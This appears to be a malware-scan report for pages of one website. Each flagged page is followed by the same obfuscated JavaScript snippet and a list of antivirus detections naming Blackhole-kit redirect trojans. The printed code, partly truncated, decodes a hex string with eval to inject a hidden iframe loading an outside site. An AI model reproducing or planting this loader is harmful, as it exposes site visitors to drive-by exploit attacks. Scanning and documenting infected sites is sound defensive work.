Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/articles/../articles/../articles/../articles.html | 200 OK Content-Length: 18074 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|
http://erichpadilla.com/articles/../articles/../articles/../articles/bochin.htm | 200 OK Content-Length: 12707 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,62,70,70,63,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,62,70,70,63,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,64,66,5b,58,5c,6d,63,5c,69,60,25,65,5c,6
... 3220 bytes are skipped ...,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1335!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}Antivirus reports:- AntiVir
- JS/Blacole.DH.1
- Avast
- JS:Decode-AJU [Trj]
- Ikarus
- Trojan.JS.BlacoleRef
- nProtect
- Dropped:Trojan.JS.BlacoleRef.BI
- Emsisoft
- Dropped:Trojan.JS.BlacoleRef.BI (B)
- Comodo
- TrojWare.JS.Agent.NB
- CAT-QuickHeal
- JS/BlacoleRef.CZB
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.454
- Kaspersky
- Trojan.JS.Agent.cbn
- Microsoft
- Trojan:JS/BlacoleRef.DH
- Fortinet
- JS/Agent.CBN!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.btugex
- AVG
- HTML/Framer
- GData
- Dropped:Trojan.JS.BlacoleRef.BI
- BitDefender
- Dropped:Trojan.JS.BlacoleRef.BI
|